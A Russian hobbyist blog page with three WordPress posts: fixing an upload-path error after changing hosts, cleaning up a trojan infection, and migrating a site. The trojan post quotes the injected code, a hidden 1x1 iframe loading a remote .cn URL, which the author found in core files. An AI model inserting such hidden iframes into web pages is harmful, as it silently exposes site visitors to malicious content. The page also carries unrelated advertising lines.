Простое решение супер-сложной на первый взгляд проблемы…
Наверное многие сталкивались с проблемой, когда переносишь блог на движке от WordPress (обожаю его, просто!) на другой хостинг, вроде все нормально село, вы счастливы, ваши подписчики счастливы, короче весь мир в раджуных красках.
И вот сели вы накалякать какой-нибудь пост. Например о нечестном хостере. Ругаете его, материте, а в конце хотите вставить скрин с ошибкой браузера, когда вы пытались на свой сайт зайти.
И тут на тебе! WordPress матерится, что не может загрузить картинку! Вот цитаты его полных матюгальников:
Warning: file_exists() [function.file-exists]: open_basedir restriction in effect. File(/…/home/…./public_html/…./wp-content/uploads/2009/04) is not within the allowed path(s): (/home/…./:/tmp:/usr/local/lib/php/) in /home/wi7/public_html/wp-includes/functions.php on line 1737
и блаблаблаблаблаблабла еще несколько десятков раз. А в конце такое резюме красными буквами:
Не могу создать директорию /home/…./public_html/wp-content/uploads/2009/06. Проверьте, доступна ли родительская директория для записи.
Вы в панике – наверное WordPress сломался или ему новый хостинг не понравился или заболел он или еще что-то в этом роде.
Сломя голову вы обращаетесь к Айболитам WordPress-а – хваленым форумам в помощь пользователям WordPress-а. Почитайте, что советуют отчаявшемуся пареньку матерые волки здесь и здесь. Короче на три хорошие буквы посылают, типа не мешай флудить…
А между тем проблема лежит вовсе не в файлах function.php или мускульной базе или хостере. Дело в том, что на старом хостинге WordPress создал себе дефолтную папку для загрузки изображений и записал этот путь. Вот перенесли вы весь блог на новый хостинг, а путь для загрузки изображений у вас старый, вот и ругается WordPress – умный, добрый старичок, который любит, чтобы все было как положено. Согласитесь как все просто.
Меняется это все в консоли – “Параметры” – “Разное”
В “Разных настройках” указываем существующий путь к загружаемым файлам.
Теперь все должно работать.
Я два месяца мучался над этим вопросом. Запарился фотки заливать по фтп и вручную путь указвать. Пока сегодня не стукнуло в голову, решил попробовать и .. получилось! Какой я молодец!…
————————————————————————————-
Почитайте форум о cms – там тоже есть много чего полезного.
Билеты и экскурсии в московский кремль. Я не был еще, но обязательно побываю.
Для выравнивания металлических поверхностей – эпоксидная шпатлевка подходит как нельзя кстати.
Read MoreТроян в WordPress…
Меня не было около недели, поэтому когда решил зайти в админку своего блога, WordPress выдал ошибку. Начал разбираться что за фигня, оказалось какой-то троян залез и поставил ссылки типа
iframe src=”http://betbigwager.cn/in.cgi?income63″ width=1 height=1 style=”visibility: hidden”>/iframe
в файлах default_filters.php, pluggable.php, index.php и еще в самых разных файлах. Сидел чистил, убирая эти ссылки, до того запарился, что решил заново wordpress залить (и как раньше не догадался?!). Залил и поставил ограниченные права на файлы default_filters.php, pluggable.php. Вроде нормально работает.
Вот она оказывается какая, вирусная реклама ))).
Хочу сказать доморощенным вирусоделам – чтобы вам провалиться, уроды!
Чем заняться в воскресенье?
Я лично пойду куплю билеты на концерты рокеров каких-нибудь, музыку послушаю, пивка глотну, с девчонками познакомлюсь.
Или может в алмазный фонд сходить на экскурсию?! Алмазы – чудо природы, недаром они считаются бесценными.
Read MoreКак перенести свой сайт с одного хостинга на другой?…
В данном случае речь идет о сайте на движке WordPress, то есть моем блоге, который вы сейчас читаете.
Этот вопрос меня мучал очень долго, наверное целый месяц. И только я собрался это сделать как хостер мой накрылся и я остался без бэкапа. Был старый, который я успел сделать месяц назад.
Мне очень помогла статья у которой я содрал название (надеюсь меня не засудят…).
Все думают, что это пипец как тяжело, на самом деле все это можно сделать за час времени. Для этого вам достаточно бэкапа корневой директории сайта (где лежат дохрена файлов WordPress) и бэкапа базы данных (мне очень помог плагин для WordPress – WordPress Database Backup). Имея на руках эти два бэкапа можно смело переносить свой сайт.
Заливаем бэкап сайта в корневую директорию по фтп и идем курить, процесс слишком уж длинный. У меня около сорока минут заливал. После того как файлы в директории, создаем новую базу данных мускулов и импортируем туда свой бэкап БД. В моем случае я загрузил БД в директ-админке.
После заходите в phpmyadmin и делайте импорт той же самой базы данных. У меня закорючки все ушли, превратившись в читабельный русский текст.
Все это я делал чисто интуитивно, так как нихрена не разбираюсь ни в php, ни в мускуле. На форумах меня послали куда подальше, поэтому решил все сделать сам.
Бегите от хостеров, которые за малые деньги обещают вам райские условия! Берегите нервы…
Read More

